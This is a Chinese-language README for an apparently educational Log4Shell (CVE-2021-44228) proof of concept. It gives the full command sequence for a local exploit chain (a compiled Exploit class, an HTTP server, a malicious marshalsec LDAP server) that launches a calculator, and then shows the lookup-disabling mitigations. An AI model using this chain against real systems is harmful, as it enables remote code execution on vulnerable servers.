
Apache Log4j2 版本 <=2.14.1 在配置、日志消息和参数中使用的 JNDI 功能未对攻击者控制的 LDAP 及其他 JNDI 相关端点进行保护。 当消息查找替换功能启用时,能够控制日志消息或日志消息参数的攻击者可以执行从 LDAP 服务器加载的任意代码。
为了帮助客户理解此漏洞的工作原理,我们准备了此仓库,内含一个简单但有效的概念验证。
本地已安装:
目前,该任意代码会在 macOS 或 Windows 上启动计算器应用程序,因此此 PoC 仅支持这两个操作系统。
所有信息和代码仅供教育目的和/或测试您自身系统的此漏洞。
此 PoC 模仿下图所述内容(图片来源 GovCERT.ch),但为简洁起见,易受攻击的服务器仅为一个简单的 Java 类。必须理解,此漏洞有多种触发方式,以下描述的仅为其中一种。

克隆此仓库
terminal1 $ git clone https://github.com/sunnyvale-it/CVE-2021-44228-PoC.git
编译漏洞利用代码(使用 JDK 11)
terminal1 $ javac Exploit.java
运行 HTTP 服务器以提供漏洞利用代码
terminal1 $ python -m SimpleHTTPServer 8888 --directory .
启动恶意的 LDAPRefServer(感谢 https://github.com/mbechler/marshalsec)
terminal2 $ java -cp tools/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
启动存在缺陷的应用程序(包含 log4j 2.14.1)
terminal3 $ mvn package && mvn exec:exec
如果一切顺利,计算器应用程序(任意代码执行)应该会弹出

terminal3 $ export LOG4J_FORMAT_MSG_NO_LOOKUPS=true
terminal3 $ mvn package && mvn exec:exec
在这种情况下,计算器应该不会再弹出
terminal3 $ mvn package && mvn exec:exec -Dlog4j2.formatMsgNoLookups=true
在这种情况下,计算器应该不会再弹出